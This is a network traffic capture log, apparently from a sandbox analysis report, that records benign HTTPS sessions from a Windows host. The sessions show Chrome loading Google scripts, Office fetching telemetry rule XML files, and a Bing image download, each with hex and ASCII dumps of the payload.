2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c Data Ascii: uerySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"cl
2024-11-25 04:46:28 UTC	1390	IN	Data Raw: 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e Data Ascii: n _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49758	142.250.181.68	443	7976	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:28 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 04:46:28 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 04:46:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 04:46:28 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 04:46:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044629Z-174c587ffdfks6tlhC1TEBeza400000005cg00000000rxdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044629Z-15b8b599d88phfhnhC1TEBr51n00000005mg000000006fev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044629Z-178bfbc474bgvl54hC1NYCsfuw00000006zg000000006vwy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044629Z-178bfbc474bv587zhC1NYCny5w00000006ug00000000bgnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 3257ccc0-201e-005d-19b5-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044629Z-178bfbc474bxkclvhC1NYC69g400000006ug00000000fetc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49767	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:29 UTC	375	OUT	GET /th?id=OADD2.10239402414375_1AVQBVS8V3X3ACPMA&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:29 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 422551 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AAEB1492C117410E9C877CF24EFA9BDA Ref B: EWR311000104027 Ref C: 2024-11-25T04:46:29Z Date: Mon, 25 Nov 2024 04:46:28 GMT Connection: close
2024-11-25 04:46:29 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 31 20 31 34 3a 34 30 3a 30 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:11 14:40:04
2024-11-25 04:46:29 UTC	16384	IN	Data Raw: 39 fc 00 a9 af bc 1b e2 5b 28 fc d5 b7 fb 64 7b 77 16 b3 6d c5 47 fb 4a 70 47 e4 6b d6 ab 2a 33 d1 4f f1 3e 76 85 1c 5d 24 a4 e8 e8 bc bf cb 53 b6 b6 b6 d7 93 49 f3 f4 cb db 5d 66 cb 6e e6 54 f9 b8 1c 7c c8 70 47 e1 59 f6 3a eb 69 5a 83 cb 69 69 36 9b 23 72 d1 c7 21 45 0c 0f 60 72 30 4f 62 31 5c 66 8d a8 de e9 f7 47 ec d7 52 db c8 b9 0e 99 2a c3 3c 10 41 c5 74 d6 da f3 de 32 41 7d 2a b9 7c 80 65 50 c0 93 d3 e6 ed ff 00 d7 af 3e 78 69 42 e9 ab af eb e4 7b 74 73 08 d4 49 c5 b8 c9 7c fe e7 ba 3b eb cd 56 4d 6f 4b f3 60 bb 87 ce 99 42 f9 64 96 8f 27 a9 0b 9c a1 fa 12 3e 94 f9 74 6b 5b bd 16 08 27 b2 bb ba bb b7 63 ba 78 41 79 80 3c e0 32 e1 d8 0e 3b 36 07 e7 5c 46 bc d7 1a 7d e4 17 51 59 4c 8a a0 36 eb 66 20 82 07 50 08 23 f0 e9 5d 7f 81 75 a7 d5 f4 bb a3 a7 Data Ascii: 9[(d{wmGJpGk3O>v]$SI]fnT\|pGY:iZii6#r!E`r0Ob1\fGR<At2A}*\|eP>xiB{tsI\|;VMoK`Bd'>tk['cxAy<2;6\F}QYL6f P#]u
2024-11-25 04:46:29 UTC	16384	IN	Data Raw: a1 7c b6 77 ba 64 68 f1 b2 07 09 80 08 27 b1 ec 7b 8e d5 db 45 b5 1d 4f 2a bd 18 f3 69 a7 55 df fe 01 a5 a6 eb 02 de 41 6d 79 e5 42 e0 8f df 21 26 26 cf 4c 92 32 b9 f4 60 3f 1a d4 d5 2e 6f 20 f3 1e ca 38 d2 74 b5 75 2f e5 86 03 76 36 01 d7 00 9e 73 d0 0c 56 a6 9b a2 69 57 16 2b 3d a7 92 d3 34 45 65 88 80 72 ac 39 56 52 08 23 3d b0 41 ae 35 3c 3f ad e8 ba a3 2d 92 5c 33 42 4c 90 58 4a c5 a3 94 13 93 e4 48 79 8d 88 ec 49 53 8c 73 d0 71 f3 42 a4 9b 5a 35 d1 f5 3b 1f b5 a5 14 9a ba 7d 56 eb fc ff 00 3f 53 3a c3 59 b7 37 26 1b db 8b 8d 32 fb 7b 62 6f 2f 7c 12 31 3f 75 80 c3 46 41 e3 8c 8a 79 bd 10 dd 49 3e 81 3a c7 7c 5c 19 e3 24 79 57 4b dc 3a 74 39 e9 90 01 1e dd 69 6e 24 d2 7c 4f e7 90 5a 0b d8 d8 c5 74 b2 c7 b5 a1 70 31 fb e4 c0 23 1d 37 81 d0 72 2b 98 d1 Data Ascii: \|wdh'{EO*iUAmyB!&&L2`?.o 8tu/v6sViW+=4Eer9VR#=A5<?-\3BLXJHyISsqBZ5;}V?S:Y7&2{bo/\|1?uFAyI>:\|\$yWK:t9in$\|OZtp1#7r+
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: b2 a0 cb 4c 14 ae e6 27 27 80 54 01 ea 73 e9 58 36 76 16 71 f8 66 09 1f 4c 8a fe 59 c9 fb 4a 42 04 91 97 2c 00 94 20 e3 ae 39 18 07 9f 5c d6 87 c3 9f 1b da 78 67 ca f0 e4 f1 4a d6 02 67 df 0e 0b cd 60 c7 a0 db d7 61 20 f5 e3 18 c1 eb 55 92 62 30 f4 f3 28 56 c5 68 a3 7b 76 4d db 56 75 e7 b4 b1 32 ca aa d0 c1 25 79 da fd da 57 d1 7f 5d cf 4e 74 c5 46 c2 ae 42 f6 f7 76 cb 73 6b 3a cd 0c 9c ab a1 04 1f fe b8 f4 a8 64 4c 75 af d7 21 52 33 8a 94 5d d3 3f 10 a9 4e 50 93 8c 95 9a dc ae 45 18 15 26 da 6e 3b d5 dc 8b 0d c0 a2 9f 8a 4d be d4 80 6e 05 04 66 9d 8c 51 40 0c 02 97 02 97 14 62 80 19 4b 8a 7e 05 00 0e 72 dd bf 3a 06 86 62 93 06 a4 c0 a4 c5 02 12 90 8f 4a 5c 1a 30 68 01 00 a4 c1 a7 60 d2 e2 80 19 83 46 0d 38 0a 36 fb 53 b8 09 8a 4c 1a 76 0d 14 5c 2d 61 a4 Data Ascii: L''TsX6vqfLYJB, 9\xgJg`a Ub0(Vh{vMVu2%yW]NtFBvsk:dLu!R3]?NPE&n;MnfQ@bK~r:bJ\0h`F86SLv\-a
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: f7 e2 af d9 e3 c4 da c3 88 26 f1 e5 94 16 5f c5 05 bd 83 f3 e9 92 5f e6 fc 48 aa 7a 0f ec b9 a3 da cc 5b 5c f1 3d ed e2 8e 89 67 6e b0 7e 6c c5 ff 00 41 5f 44 b3 67 ad 43 21 dd 5f 65 87 c9 b0 14 52 8c 29 e9 f3 3f 3b c4 e7 38 ec 44 dd 4a 93 bc 9f 5d 3f a5 f2 3c b6 1f 82 1f 0c e1 b1 36 a3 c3 4f 23 15 00 dc 3d ec de 6e 40 fb c0 86 00 13 ec 31 5e 79 f1 0b f6 73 bc 19 9f c1 3a f1 c1 27 36 5a 9b 05 60 31 fc 32 a8 c1 f4 c3 01 f5 35 f4 74 aa 2a b4 82 ba aa 65 98 3a b1 b3 82 5e 9a 1c d4 f3 2c 5c 1d f9 db 3e 21 f1 57 c3 af 89 1e 1c dc da 9f 87 f5 25 84 31 1e 7c 0a 67 88 e3 be e8 f7 0c 57 2d 75 a8 6a 6d 6e 2c ee 6e a7 31 c4 c7 11 3b 1c 29 ef c7 f4 af d0 06 0c ad b9 1c ab 7a a9 20 fe 95 ce f8 db c1 fe 1b f1 65 9b 5b 78 87 46 b6 bc cf 2b 36 cd 93 a1 f5 12 2f cc 0f b1 Data Ascii: &__Hz[\=gn~lA_DgC!_eR)?;8DJ]?<6O#=n@1^ys:'6Z`125t*e:^,\>!W%1\|gW-ujmn,n1;)z e[xF+6/
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 77 8b b3 3c 13 c5 9f b3 0f 87 2e 66 96 6f 0d f8 86 fb 4c de 72 96 f7 70 8b 88 94 e7 a6 f0 55 b1 f5 04 fd 6b cc 7c 67 f0 57 e2 37 85 ed 25 b9 7b 18 f5 7b 18 ce 1a 5d 36 43 33 2a f6 63 11 01 c0 f7 db 81 5f 62 b0 34 d0 18 36 41 21 87 42 38 35 e6 57 c9 f0 d5 16 8a cc ee a1 9a 57 a4 fb 9f 9f 6a cc 24 2b 73 3f 92 50 90 41 07 70 23 b1 18 c8 a9 34 db f7 b3 9b 31 2c 72 2b 01 b9 b2 01 fd 78 af b7 bc 73 e0 2f 07 f8 c3 e6 f1 27 87 ed 2f 66 d9 b4 5c e0 c7 38 1f f5 d1 08 27 1e e4 d7 8d 78 fb f6 60 80 ef bb f0 4e bc d1 b8 e5 6c 75 4e 54 fb 2c ca 38 f6 0c bf 8d 78 d5 f2 4a d0 bf 2f bc bc 8f 5a 8e 73 06 d7 47 fd 7c 8f 13 8a f2 2b a9 9e 47 b7 50 55 b7 31 03 d6 a7 8d 6d e4 84 e4 cb 1b 74 04 60 82 7d 08 f7 fa d4 7e 3f f0 5f 8c 3c 11 7f 1c 3e 25 d2 a6 b5 56 39 86 70 44 90 4b Data Ascii: w<.foLrpUk\|gW7%{{]6C3*c_b46A!B85WWj$+s?PAp#41,r+xs/'/f\8'x`NluNT,8xJ/ZsG\|+GPU1mt`}~?_<>%V9pDK
2024-11-25 04:46:30 UTC	16384	IN	Data Raw: 52 af 5a 50 29 ca 3d 68 b8 00 04 d4 8a be bd 69 14 63 a5 38 0a 42 b8 a0 52 f4 a2 80 33 40 21 d4 28 cd 14 a0 62 81 8f 51 9e 69 1a 85 a5 c0 a9 00 5e 94 a0 51 8a 50 29 dc 00 0c 51 4e 51 4b 8f 7a 43 b0 ca 31 9a 7e 31 d2 97 14 05 88 f6 d0 54 d4 ca b4 e5 5c d1 70 3c ff 00 e2 d7 c2 ed 13 c7 8d 15 cd cc b3 59 6a 30 20 48 ee e1 01 b2 a0 e4 2b 29 c0 60 32 79 c8 23 3f 85 79 3e b9 f0 13 e2 05 ac 81 34 7d 4b 47 d4 2d d7 3b 0c 8e 60 7f a1 56 e3 3f 42 6b e9 c4 8b 35 32 41 9f e1 ae 0c 46 5f 85 ae ef 38 ea 76 e1 f3 2c 56 1d 72 c2 5a 1f 0c f8 df c3 9f 10 3c 2b 23 1d 6f 47 b8 b5 8e 33 fe bd 22 2d 11 f4 c3 8c a9 fc eb 33 c2 be 29 6b 2b e2 6e e7 91 56 5c 06 2a 01 1e c4 8f 6f 51 5f 7b dc 59 09 23 28 e9 b9 18 61 94 8c a9 1e e0 f0 6b c1 bf 6a 4f 87 ff 00 0d ac b4 19 f5 7b b1 1e Data Ascii: RZP)=hic8BR3@!(bQi^QP)QNQKzC1~1T\p<Yj0 